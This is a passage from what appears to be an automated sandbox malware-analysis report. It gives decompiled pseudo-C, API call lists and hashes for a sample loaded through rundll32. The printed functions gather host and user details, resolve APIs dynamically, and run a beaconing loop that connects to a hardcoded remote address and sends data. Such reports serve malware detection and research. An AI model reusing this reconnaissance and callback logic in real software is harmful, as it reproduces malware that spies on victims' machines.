						goto L26;
					}
					if( *0xfd7280 == 0) {
						L14:
						lstrcatW("C:\Users\jones\AppData\LocalLow\",  *0xfd6778);
						goto L15;
					}
					_t208 = lstrlenW("C:\Users\jones\AppData\LocalLow\");
					if(_t208 == 0) {
						L12:
						if( *((short*)(0xfd7280 + _t208 * 2)) != 0x5c) {
							goto L14;
						}
						goto L13;
					} else {
						while( *((short*)(0xfd7280 + _t208 * 2)) != 0x5c) {
							_t208 = _t208 - 1;
							if(_t208 != 0) {
								continue;
							}
							goto L12;
						}
						L13:
						 *((short*)(0xfd7282 + _t208 * 2)) = 0;
						goto L14;
					}
				}
				_t209 = lstrlenW("C:\ProgramData\");
				if(_t209 == 0) {
					L4:
					if( *((short*)(0xfd7490 + _t209 * 2)) != 0x5c) {
						goto L6;
					}
					L5:
					 *((short*)(0xfd7492 + _t209 * 2)) = 0;
					goto L6;
				}
				while( *((short*)(0xfd7490 + _t209 * 2)) != 0x5c) {
					_t209 = _t209 - 1;
					if(_t209 != 0) {
						continue;
					}
					goto L4;
				}
				goto L5;
			}

0x00fc9c2f
0x00fc9c34
0x00fc9c38
0x00fc9c3d
0x00fc9c43
0x00fc9c43
0x00fc9c49
0x00fc9c4c
0x00fc9c54
0x00fc9c5e
0x00fc9c65
0x00fc9c71
0x00fc9c76
0x00fc9c82
0x00fc9c96
0x00fc9cc8
0x00fc9ce1
0x00fc9d36
0x00fc9d46
0x00fc9d58
0x00fc9d64
0x00fc9d70
0x00fc9d74
0x00fc9d7e
0x00fc9d7e
0x00fc9d85
0x00fc9d87
0x00fc9d87
0x00fc9d8f
0x00fc9da0
0x00fc9e0e
0x00fc9e14
0x00fc9e17
0x00fc9e19
0x00fc9e1c
0x00fc9e21
0x00fc9e27
0x00fc9e33
0x00fc9e43
0x00fc9e49
0x00fc9e52
0x00fc9e5d
0x00fc9e62
0x00fc9e79
0x00fc9e7c
0x00fc9e8a
0x00fc9e8d
0x00fc9e9a
0x00fc9e9d
0x00fc9e9d
0x00fc9e62
0x00fc9eb9
0x00fc9ec1
0x00fc9ec7
0x00fc9ed0
0x00fc9ed3
0x00fc9eed
0x00fc9ef7
0x00fc9ef7
0x00fc9efd
0x00fc9f0b
0x00fc9f11
0x00fc9f28
0x00fc9f31
0x00fc9f35
0x00fc9f3a
0x00fc9f3a
0x00fc9f28
0x00fc9f44
0x00fc9f4c
0x00fc9f52
0x00fc9f69
0x00fc9f72
0x00fc9f79
0x00fc9f7e
0x00fc9f7e
0x00fc9f69
0x00fc9f85
0x00fc9f8e
0x00fc9f95
0x00fc9f9f
0x00fc9fa8
0x00fc9faf
0x00fc9fbb
0x00fc9fbd
0x00fc9fc3
0x00fc9fc8
0x00fca068
0x00fca068
0x00fca06e
0x00fca070
0x00fca072
0x00fca074
0x00fca076
0x00fca078
0x00fca087
0x00fca089
0x00fca089
0x00fca094
0x00fca0a1
0x00fca0b0
0x00fca0b8
0x00fca0cd
0x00fca0cd
0x00000000
0x00fca0ba
0x00fca0ba
0x00fca0c0
0x00000000
0x00fca0c9
0x00fca0c9
0x00fca0cf
0x00fca0cf
0x00fca0e1
0x00fca0e6
0x00fca0f9
0x00fca105
0x00fca107
0x00fca111
0x00fca118
0x00fca11c
0x00fca121
0x00fca12d
0x00fca14a
0x00fca156
0x00fca165
0x00fca171
0x00fca178
0x00fca17b
0x00fca17d
0x00fca17d
0x00fca184
0x00fca186
0x00fca195
0x00fca199
0x00fca1a3
0x00fca1b0
0x00fca1be
0x00fca1c5
0x00fca1c7
0x00fca1ce
0x00fca1d2
0x00fca1d7
0x00fca1d9
0x00fca1dd
0x00fca1f0
0x00fca1f9
0x00000000
0x00000000
0x00000000
0x00fca1e3
0x00fca1e5
0x00fca1e7
0x00fca1e7
0x00fca1fb
0x00fca201
0x00fca207
0x00fca20b
0x00fca26c
0x00fca26c
0x00fca26c
0x00fca213
0x00fca218
0x00fca21c
0x00fca22b
0x00fca22f
0x00fca236
0x00fca236
0x00fca22f
0x00fca244
0x00fca248
0x00000000
0x00fca24a
0x00fca250
0x00fca254
0x00000000
0x00000000
0x00fca256
0x00fca25b
0x00000000
0x00fca25b
0x00fca248
0x00fca1dd
0x00fca0c0
0x00fc9fce
0x00fc9fd5
0x00fc9fe0
0x00fc9fe2
0x00fc9fea
0x00fca061
0x00fca062
0x00000000
0x00fca062
0x00fc9ff2
0x00fca008
0x00000000
0x00000000
0x00000000
0x00fca00a
0x00fca00c
0x00fca015
0x00000000
0x00000000
0x00fca01e
0x00fca028
0x00000000
0x00000000
0x00fca02a
0x00fca030
0x00fca046
0x00000000
0x00000000
0x00000000
0x00fca048
0x00fca054
0x00fca05b
0x00000000
0x00fca05b
0x00fc9fc8
0x00fc9db7
0x00fc9dbb
0x00fc9dd4
0x00fc9dd8
0x00000000
0x00000000
0x00fc9dea
0x00fc9dee
0x00fc9e05
0x00fc9e05
0x00fc9e08
0x00fc9e08
0x00000000
0x00fc9dbb
0x00fc9ceb
0x00fc9d25
0x00fc9d30
0x00000000
0x00fc9d30
0x00fc9cf2
0x00fc9cf6
0x00fc9d10
0x00fc9d19
0x00000000
0x00000000
0x00000000
0x00fc9d00
0x00fc9d00
0x00fc9d0b
0x00fc9d0e
0x00000000
0x00000000
0x00000000
0x00fc9d0e
0x00fc9d1b
0x00fc9d1d
0x00000000
0x00fc9d1d
0x00fc9cf6
0x00fc9c9d
0x00fc9ca1
0x00fc9cb3
0x00fc9cbc
0x00000000
0x00000000
0x00fc9cbe
0x00fc9cc0
0x00000000
0x00fc9cc0
0x00fc9ca3
0x00fc9cae
0x00fc9cb1
0x00000000
0x00000000
0x00000000
0x00fc9cb1
0x00000000

APIs

GetModuleFileNameW.KERNEL32(00FC0000,00FD6DDE,00000104,00FD9BF1,?,76B2F210), ref: 00FC9C76
lstrcpyW.KERNEL32 ref: 00FC9C82
lstrlenW.KERNEL32(C:\ProgramData\,?,76B2F210), ref: 00FC9C9D
ExpandEnvironmentStringsW.KERNEL32(C:\Users\user\AppData\LocalLow\,00000104,?,76B2F210), ref: 00FC9CD8
lstrlenW.KERNEL32(C:\Users\user\AppData\LocalLow\,?,76B2F210), ref: 00FC9CF2
lstrcatW.KERNEL32(C:\Users\user\AppData\LocalLow\), ref: 00FC9D30
GetEnvironmentVariableW.KERNEL32(C:\Windows\system32\cmd.exe,00000104,?,76B2F210), ref: 00FC9D46
GetModuleHandleA.KERNEL32(?,76B2F210), ref: 00FC9D58
GetCurrentProcess.KERNEL32(?,?,76B2F210), ref: 00FC9D7B
GetCurrentProcess.KERNEL32(00000008,?), ref: 00FC9D95
OpenProcessToken.ADVAPI32(00000000), ref: 00FC9D98
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00FC9DB7
GetLastError.KERNEL32 ref: 00FC9DBD
LocalAlloc.KERNEL32(00000000,?), ref: 00FC9DCE
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 00FC9DEA
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00FC9DF2
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00FC9DFF
LocalFree.KERNEL32(00000000), ref: 00FC9E08
GetCurrentProcessId.KERNEL32 ref: 00FC9E17
ProcessIdToSessionId.KERNEL32(00000000,00FD6C85), ref: 00FC9E21
GetTickCount.KERNEL32 ref: 00FC9E27
GetModuleHandleA.KERNEL32 ref: 00FC9E3C
RegOpenKeyExW.KERNELBASE(80000002,00000000,00020119,?), ref: 00FC9EB9
RegQueryValueExW.KERNELBASE(?,00000000,?,00FD6C9E,?), ref: 00FC9EED
RegCloseKey.KERNELBASE(?), ref: 00FC9EF7
GetProcessWindowStation.USER32 ref: 00FC9EFD
GetUserObjectInformationW.USER32(00000000,00000002,?,00000028,?), ref: 00FC9F24
GetCurrentThreadId.KERNEL32 ref: 00FC9F3D
GetThreadDesktop.USER32(00000000), ref: 00FC9F44
GetUserObjectInformationW.USER32(00000000,00000002,?,00000028,?), ref: 00FC9F65
GetUserNameW.ADVAPI32(00FD6D8E,?), ref: 00FC9F95
GetComputerNameW.KERNEL32(00FD6D66,00000014), ref: 00FC9FAF
GetCurrentProcessId.KERNEL32 ref: 00FC9FB5
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC9FBD
Process32FirstW.KERNEL32(00000000,?), ref: 00FC9FE2
Process32NextW.KERNEL32(00000000,0000022C), ref: 00FCA004
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00FCA020
Process32NextW.KERNEL32(00000000,0000022C), ref: 00FCA042
lstrcpynW.KERNEL32(00FD6DB6,?,00000014), ref: 00FCA05B
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00FCA062
WTSGetActiveConsoleSessionId.KERNEL32 ref: 00FCA068
lstrcpyA.KERNEL32(?,?,?,?,?,?,76B2F210), ref: 00FCA0F9
CreateDCA.GDI32(?,00000000,00000000,00000000), ref: 00FCA116
GetDeviceCaps.GDI32(00000000,00000008), ref: 00FCA124
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00FCA135
GetDesktopWindow.USER32 ref: 00FCA1C5
MonitorFromWindow.USER32(00000000), ref: 00FCA1CE
GetDesktopWindow.USER32 ref: 00FCA1D4
MonitorFromWindow.USER32(00000000), ref: 00FCA1D7
LoadLibraryA.KERNEL32 ref: 00FCA201

Strings

C:\ProgramData\, xrefs: 00FC9C7D, 00FC9C88, 00FC9C98
(, xrefs: 00FC9ED3
(, xrefs: 00FC9F52
C:\Windows\system32\cmd.exe, xrefs: 00FC9D3B
C:\Users\user\AppData\LocalLow\, xrefs: 00FC9CCD, 00FC9CE3, 00FC9CED, 00FC9D2B

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Process$CurrentWindow$InformationProcess32$DesktopModuleNameTokenUser$AuthorityCapsCloseCountCreateDeviceEnvironmentFirstFromHandleLocalMonitorNextObjectOpenSessionThreadlstrcpylstrlen$ActiveAllocChangeComputerConsoleErrorExpandFileFindFreeLastLibraryLoadNotificationQuerySnapshotStationStringsTickToolhelp32ValueVariablelstrcatlstrcpyn
String ID: ($($C:\ProgramData\$C:\Users\user\AppData\LocalLow\$C:\Windows\system32\cmd.exe
API String ID: 151120809-3397774073
Opcode ID: bbe496cde352a38fb3457304a502295bd7f0d995557e84d79544c123ae45f299
Instruction ID: b8152496568cecf093a056d11eab1e8528d29962755297602737e5aa234b6fc0
Opcode Fuzzy Hash: bbe496cde352a38fb3457304a502295bd7f0d995557e84d79544c123ae45f299
Instruction Fuzzy Hash: 3002E230909309EBD7209F70DE4AF6ABBA9BF44714F04042EF945D71A1E7B1D908EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC6B50 Relevance: 42.2, APIs: 28, Instructions: 209
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00FC6B50(intOrPtr* _a4) {
				signed int _v320;
				int _v324;
				intOrPtr _v328;
				short _v332;
				short _v334;
				char _v344;
				int _v348;
				signed char _v372;
				intOrPtr _v380;
				char _v384;
				int _v404;
				char _v413;
				char _v429;
				int _v444;
				void* __ebx;
				struct HPEN__* _t29;
				intOrPtr* _t30;
				intOrPtr _t32;
				short _t33;
				signed int _t34;
				signed char _t38;
				void* _t41;
				void* _t46;
				void* _t48;
				void* _t53;
				void* _t55;
				int _t59;
				char* _t60;
				void* _t61;
				intOrPtr* _t64;
				intOrPtr _t69;
				intOrPtr _t73;
				intOrPtr _t74;
				signed int _t79;
				signed int _t82;
				void* _t84;

				_t64 = _a4;
				_t84 = (_t82 & 0xfffffff8) - 0x154;
				 *0xfd65f0 =  *_t64;
				 *0xfd65f4 =  *((intOrPtr*)(_t64 + 4)); // executed
				_t29 = CreatePen(0, 4, 0xff); // executed
				 *0xfd7768 = _t29;
				InitializeCriticalSection(0xfd6714);
				EnterCriticalSection(0xfd6714);
				 *0xfd65fc = 0;
				 *0xfd6601 = 0;
				 *0xfd65fd = 0;
				 *0xfd672c = 1;
				LeaveCriticalSection(0xfd6714);
				InitializeCriticalSection(0xfd6714);
				EnterCriticalSection(0xfd6714);
				 *0xfd6708 = 0;
				 *0xfd670d = 0;
				 *0xfd6709 = 0;
				 *0xfd672c = 1;
				LeaveCriticalSection(0xfd6714);
				_t30 =  *0xfd65c0; // 0x745b2a00
				if(_t30 == 0) {
					 *0xfd6544 = GetTickCount();
				} else {
					 *_t30(0xfd6544, 4);
				}
				_t59 = 1;
				_v348 = 1;
				while(1) {
					L4:
					_t79 = 0;
					while(1) {
						L6:
						L6:
						if(_t59 != 0) {
							_t59 = 0;
							_v348 = 0;
						} else {
							Sleep(0x1388); // executed
						}
						if(_t79 != 0) {
							 *0xfd76e4(_t79, 2);
							 *0xfd76d8(_t79);
						}
						_t32 =  *0xfd65f0; // 0x7b71be40
						_v328 = _t32;
						_v332 = 2;
						_t33 =  *0xfd76f4( *0xfd65f4 & 0x0000ffff);
						_v334 = _t33;
						_t34 =  *0xfd76d4(2, 1, 6); // executed
						_t79 = _t34;
						if(_t79 != 0xffffffff) {
							goto L13;
						}
						_t79 = _t79 | _t34;
						L16:
						_t69 =  *0xfd6544; // 0x62bda00a
						_t38 = _t34 & 0xffffff00 |  *0xfd63f4 != 0x00000000;
						_v372 = _t38;
						_push(_v372);
						 *(0xfd6400 + (_t38 & 0x000000ff) * 4) = _t79;
						E00FC5960( &_v344, _t69);
						_t84 = _t84 + 4;
						_t60 =  &_v344;
						_t73 = 0x22;
						while(1) {
							_t41 =  *0xfd76dc(_t79, _t60, _t73, 0); // executed
							if(_t41 <= 0) {
								break;
							}
							_t60 = _t60 + _t41;
							_t73 = _t73 - _t41;
							if(_t73 != 0) {
								continue;
							}
							_v384 = 0x1e;
							_v380 = _t73;
							_v320 = _t79;
							_v324 = 1;
							_t46 =  *0xfd7724(_t79,  &_v324, _t73, _t73,  &_v384); // executed
							if(_t46 != 1) {
								break;
							}
							_t48 =  *0xfd76f8(_t79,  &_v413, _t46, _t73); // executed
							asm("sbb eax, eax");
							if( ~(_t48 - 1) + 1 != 0 && _v429 == 0) {
								 *0xfd6c8e = GetTickCount();
								_t74 = 0x3f6;
								_t61 = 0xfd6c80;
								while(1) {
									_t53 =  *0xfd76dc(_t79, _t61, _t74, 0);
									if(_t53 <= 0) {
										goto L22;
									}
									_t61 = _t61 + _t53;
									_t74 = _t74 - _t53;
									if(_t74 != 0) {
										continue;
									}
									 *0xfd65ec = _t74;
									if(E00FC6950(_t79) == 0) {
										_t55 = E00FC6E70(_t61);
										if( *0xfd672c != 0) {
											EnterCriticalSection(0xfd6714);
											 *0xfd65fc = 0;
											 *0xfd6601 = 0;
											 *0xfd65fd = 0;
											 *0xfd672c = 0;
											LeaveCriticalSection(0xfd6714);
											DeleteCriticalSection(0xfd6714);
											if( *0xfd672c != 0) {
												EnterCriticalSection(0xfd6714);
												 *0xfd6708 = 0;
												 *0xfd670d = 0;
												 *0xfd6709 = 0;
												 *0xfd672c = 0;
												LeaveCriticalSection(0xfd6714);
												DeleteCriticalSection(0xfd6714);
											}
										}
										return _t55;
									}
									_t59 = _v444;
									goto L6;
								}
							}
							break;
						}
						L22:
						 *0xfd76e4(_t79, 2); // executed
						 *0xfd76d8(_t79); // executed
						_t59 = _v404;
						goto L4;
						L13:
						_t34 =  *0xfd76e0(_t79,  &_v348, 0x10); // executed
						if(_t34 == 0) {
							if(_t79 == 0) {
								goto L6;
							}
							goto L16;
						}
						_t34 =  *0xfd76d8(_t79);
						_t79 = _t79 | 0xffffffff;
						goto L16;
					}
				}
			}

0x00fc6b56
0x00fc6b59
0x00fc6b69
0x00fc6b76
0x00fc6b7c
0x00fc6b8d
0x00fc6b92
0x00fc6b9f
0x00fc6bac
0x00fc6bb3
0x00fc6bbd
0x00fc6bc7
0x00fc6bd1
0x00fc6bd8
0x00fc6bdf
0x00fc6be6
0x00fc6bed
0x00fc6bf7
0x00fc6c01
0x00fc6c0b
0x00fc6c0d
0x00fc6c14
0x00fc6c27
0x00fc6c16
0x00fc6c1d
0x00fc6c1d
0x00fc6c2c
0x00fc6c31
0x00fc6c35
0x00fc6c35
0x00fc6c35
0x00fc6c37
0x00000000
0x00fc6c40
0x00fc6c42
0x00fc6c51
0x00fc6c53
0x00fc6c44
0x00fc6c49
0x00fc6c49
0x00fc6c59
0x00fc6c5e
0x00fc6c65
0x00fc6c65
0x00fc6c72
0x00fc6c78
0x00fc6c7c
0x00fc6c81
0x00fc6c8d
0x00fc6c92
0x00fc6c98
0x00fc6c9d
0x00000000
0x00000000
0x00fc6c9f
0x00fc6cc9
0x00fc6cd4
0x00fc6cda
0x00fc6cdd
0x00fc6ce1
0x00fc6ce8
0x00fc6cef
0x00fc6cf4
0x00fc6cf7
0x00fc6cfb
0x00fc6d00
0x00fc6d05
0x00fc6d0d
0x00000000
0x00000000
0x00fc6d0f
0x00fc6d11
0x00fc6d13
0x00000000
0x00000000
0x00fc6d19
0x00fc6d28
0x00fc6d2e
0x00fc6d32
0x00fc6d3a
0x00fc6d43
0x00000000
0x00000000
0x00fc6d4d
0x00fc6d56
0x00fc6d5b
0x00fc6d83
0x00fc6d88
0x00fc6d8d
0x00fc6d92
0x00fc6d97
0x00fc6d9f
0x00000000
0x00000000
0x00fc6da1
0x00fc6da3
0x00fc6da5
0x00000000
0x00000000
0x00fc6da9
0x00fc6db6
0x00fc6dc3
0x00fc6dcf
0x00fc6de0
0x00fc6ded
0x00fc6df4
0x00fc6dfe
0x00fc6e08
0x00fc6e12
0x00fc6e1f
0x00fc6e28
0x00fc6e2f
0x00fc6e36
0x00fc6e3d
0x00fc6e47
0x00fc6e51
0x00fc6e5b
0x00fc6e62
0x00fc6e62
0x00fc6e28
0x00fc6e6a
0x00fc6e6a
0x00fc6db8
0x00000000
0x00fc6c37
0x00fc6d92
0x00000000
0x00fc6d5b
0x00fc6d64
0x00fc6d67
0x00fc6d6e
0x00fc6d74
0x00000000
0x00fc6ca3
0x00fc6cab
0x00fc6cb3
0x00fc6cc3
0x00000000
0x00000000
0x00000000
0x00fc6cc3
0x00fc6cb6
0x00fc6cbc
0x00000000
0x00fc6cbc
0x00fc6c37

APIs

CreatePen.GDI32(00000000,00000004,000000FF), ref: 00FC6B7C
InitializeCriticalSection.KERNEL32(00FD6714), ref: 00FC6B92
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC6B9F
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC6BD1
InitializeCriticalSection.KERNEL32(00FD6714), ref: 00FC6BD8
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC6BDF
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC6C0B
GetTickCount.KERNEL32 ref: 00FC6C21
Sleep.KERNELBASE(00001388), ref: 00FC6C49
shutdown.WS2_32(00000000,00000002), ref: 00FC6C5E
closesocket.WS2_32(00000000), ref: 00FC6C65
htons.WS2_32 ref: 00FC6C81
socket.WS2_32(00000002,00000001,00000006), ref: 00FC6C92
connect.WS2_32(00000000,?,00000010), ref: 00FC6CAB
closesocket.WS2_32(00000000), ref: 00FC6CB6
send.WS2_32(00000000,?,00000022,00000000), ref: 00FC6D05
select.WS2_32 ref: 00FC6D3A
recv.WS2_32(00000000,?,00000000,00000022), ref: 00FC6D4D
shutdown.WS2_32(00000000,00000002), ref: 00FC6D67
closesocket.WS2_32(00000000), ref: 00FC6D6E
GetTickCount.KERNEL32 ref: 00FC6D7D
send.WS2_32(00000000,00FD6C80,000003F6,00000000), ref: 00FC6D97
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC6DE0
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC6E12
DeleteCriticalSection.KERNEL32(00FD6714), ref: 00FC6E1F
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC6E2F
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC6E5B
DeleteCriticalSection.KERNEL32(00FD6714), ref: 00FC6E62

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket$CountDeleteInitializeTicksendshutdown$CreateSleepconnecthtonsrecvselectsocket
String ID:
API String ID: 3859906200-0
Opcode ID: 61df5ae028ecda163fe0ed1f578c976b448bae37a3124696979041d02fe1688d
Instruction ID: 46ee7d8564e1b2ffc403b29c999802abfa3eb3bf3ea035df2acc40b2f83b4ed6
Opcode Fuzzy Hash: 61df5ae028ecda163fe0ed1f578c976b448bae37a3124696979041d02fe1688d
Instruction Fuzzy Hash: 50710F7164A30A9FD710DF34ED0AF5A7BA6EB44708F04402BF541C72A0EB758808FBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4430 Relevance: 39.2, APIs: 26, Instructions: 191
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00FC4430() {
				_Unknown_base(*)()* _t3;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t13;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				signed int _t28;
				intOrPtr _t32;
				intOrPtr _t33;
				struct HINSTANCE__* _t34;
				struct HINSTANCE__* _t35;
				struct HINSTANCE__* _t36;

				_t34 = LoadLibraryA( *0xfd6af8);
				if(_t34 == 0) {
					L26:
					return 0;
				} else {
					_t3 = GetProcAddress(_t34,  *0xfd6b00);
					 *0xfd6598 = _t3;
					if(_t3 == 0) {
						goto L26;
					} else {
						_t4 = GetProcAddress(_t34,  *0xfd6b04);
						 *0xfd6594 = _t4;
						if(_t4 == 0) {
							goto L26;
						} else {
							 *0xfd65c0 = GetProcAddress(_t34,  *0xfd6afc);
							_t6 = GetProcAddress(_t34,  *0xfd6a98);
							 *0xfd65d4 = _t6;
							if(_t6 == 0) {
								goto L26;
							} else {
								_t7 = LoadLibraryA( *0xfd6b08);
								if(_t7 == 0) {
									goto L26;
								} else {
									_t8 = GetProcAddress(_t7,  *0xfd6b0c);
									 *0xfd65b4 = _t8;
									if(_t8 == 0) {
										goto L26;
									} else {
										_t35 = LoadLibraryA( *0xfd6a78);
										if(_t35 == 0) {
											goto L26;
										} else {
											_t10 = GetProcAddress(_t35,  *0xfd6a7c);
											 *0xfd65cc = _t10;
											if(_t10 == 0) {
												goto L26;
											} else {
												_t11 = GetProcAddress(_t35,  *0xfd6a80);
												 *0xfd659c = _t11;
												if(_t11 == 0) {
													goto L26;
												} else {
													_t12 = GetProcAddress(_t35,  *0xfd6a84);
													 *0xfd65d8 = _t12;
													if(_t12 == 0) {
														goto L26;
													} else {
														_t13 = GetProcAddress(_t35,  *0xfd6a88);
														 *0xfd6588 = _t13;
														if(_t13 == 0) {
															goto L26;
														} else {
															_t14 = GetProcAddress(_t35,  *0xfd6a8c);
															 *0xfd65c4 = _t14;
															if(_t14 == 0) {
																goto L26;
															} else {
																_t36 = LoadLibraryA( *0xfd6a24);
																if(_t36 == 0) {
																	goto L26;
																} else {
																	_t16 = GetProcAddress(_t36,  *0xfd6a30);
																	 *0xfd65d0 = _t16;
																	if(_t16 == 0) {
																		goto L26;
																	} else {
																		_t17 = GetProcAddress(_t36,  *0xfd6a34);
																		 *0xfd65c8 = _t17;
																		if(_t17 == 0) {
																			goto L26;
																		} else {
																			_t18 = GetProcAddress(_t36,  *0xfd6a40);
																			 *0xfd65e0 = _t18;
																			if(_t18 == 0) {
																				goto L26;
																			} else {
																				_t19 = GetProcAddress(_t36,  *0xfd6a44);
																				 *0xfd65ac = _t19;
																				if(_t19 == 0) {
																					goto L26;
																				} else {
																					_t20 = GetProcAddress(_t36,  *0xfd6a48);
																					 *0xfd65a4 = _t20;
																					if(_t20 == 0) {
																						goto L26;
																					} else {
																						_t21 = GetProcAddress(_t36,  *0xfd6a4c);
																						 *0xfd65a0 = _t21;
																						if(_t21 == 0) {
																							goto L26;
																						} else {
																							_t22 = GetProcAddress(_t36,  *0xfd6a50);
																							 *0xfd658c = _t22;
																							if(_t22 == 0) {
																								goto L26;
																							} else {
																								_t23 = GetProcAddress(_t36,  *0xfd6a54);
																								 *0xfd6584 = _t23;
																								if(_t23 == 0) {
																									goto L26;
																								} else {
																									_t24 = GetProcAddress(_t36,  *0xfd6a58);
																									 *0xfd65dc = _t24;
																									if(_t24 == 0) {
																										goto L26;
																									} else {
																										_t25 = GetProcAddress(_t36,  *0xfd6a5c);
																										 *0xfd6590 = _t25;
																										if(_t25 == 0) {
																											goto L26;
																										} else {
																											_t26 = GetProcAddress(_t36,  *0xfd6a60);
																											 *0xfd65b0 = _t26;
																											if(_t26 == 0) {
																												goto L26;
																											} else {
																												_t27 = GetProcAddress(_t36,  *0xfd6a64);
																												 *0xfd65b8 = _t27;
																												if(_t27 == 0) {
																													goto L26;
																												} else {
																													_t33 =  *0xfd6aa0; // 0xfd98dc
																													_t32 =  *0xfd6a9c; // 0xfd98d1
																													_t28 = E00FC1490(_t32, _t33,  *0xfd6aa4,  *0xfd6aa8,  *0xfd6aac,  *0xfd6ab0,  *0xfd6ab4,  *0xfd6ab8,  *0xfd6abc,  *0xfd6ac0,  *0xfd6ac4,  *0xfd6ac8,  *0xfd6acc,  *0xfd6ad0,  *0xfd6ad4,  *0xfd6ad8,  *0xfd6adc,  *0xfd6ae0,  *0xfd6ae4,  *0xfd6ae8,  *0xfd6aec,  *0xfd6af0,  *0xfd6af4); // executed
																													asm("sbb eax, eax");
																													return  ~( ~_t28);
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00fc4441
0x00fc4445
0x00fc46ff
0x00fc4702
0x00fc444b
0x00fc4458
0x00fc445a
0x00fc4461
0x00000000
0x00fc4467
0x00fc446e
0x00fc4470
0x00fc4477
0x00000000
0x00fc447d
0x00fc448c
0x00fc4492
0x00fc4494
0x00fc449b
0x00000000
0x00fc44a1
0x00fc44a7
0x00fc44ab
0x00000000
0x00fc44b1
0x00fc44b8
0x00fc44ba
0x00fc44c1
0x00000000
0x00fc44c7
0x00fc44cf
0x00fc44d3
0x00000000
0x00fc44d9
0x00fc44e0
0x00fc44e2
0x00fc44e9
0x00000000
0x00fc44ef
0x00fc44f6
0x00fc44f8
0x00fc44ff
0x00000000
0x00fc4505
0x00fc450c
0x00fc450e
0x00fc4515
0x00000000
0x00fc451b
0x00fc4522
0x00fc4524
0x00fc452b
0x00000000
0x00fc4531
0x00fc4538
0x00fc453a
0x00fc4541
0x00000000
0x00fc4547
0x00fc454f
0x00fc4553
0x00000000
0x00fc4559
0x00fc4560
0x00fc4562
0x00fc4569
0x00000000
0x00fc456f
0x00fc4576
0x00fc4578
0x00fc457f
0x00000000
0x00fc4585
0x00fc458c
0x00fc458e
0x00fc4595
0x00000000
0x00fc459b
0x00fc45a2
0x00fc45a4
0x00fc45ab
0x00000000
0x00fc45b1
0x00fc45b8
0x00fc45ba
0x00fc45c1
0x00000000
0x00fc45c7
0x00fc45ce
0x00fc45d0
0x00fc45d7
0x00000000
0x00fc45dd
0x00fc45e4
0x00fc45e6
0x00fc45ed
0x00000000
0x00fc45f3
0x00fc45fa
0x00fc45fc
0x00fc4603
0x00000000
0x00fc4609
0x00fc4610
0x00fc4612
0x00fc4619
0x00000000
0x00fc461f
0x00fc4626
0x00fc4628
0x00fc462f
0x00000000
0x00fc4635
0x00fc463c
0x00fc463e
0x00fc4645
0x00000000
0x00fc464b
0x00fc4652
0x00fc4654
0x00fc465b
0x00000000
0x00fc4661
0x00fc4667
0x00fc4673
0x00fc46eb
0x00fc46f5
0x00fc46fc
0x00fc46fc
0x00fc465b
0x00fc4645
0x00fc462f
0x00fc4619
0x00fc4603
0x00fc45ed
0x00fc45d7
0x00fc45c1
0x00fc45ab
0x00fc4595
0x00fc457f
0x00fc4569
0x00fc4553
0x00fc4541
0x00fc452b
0x00fc4515
0x00fc44ff
0x00fc44e9
0x00fc44d3
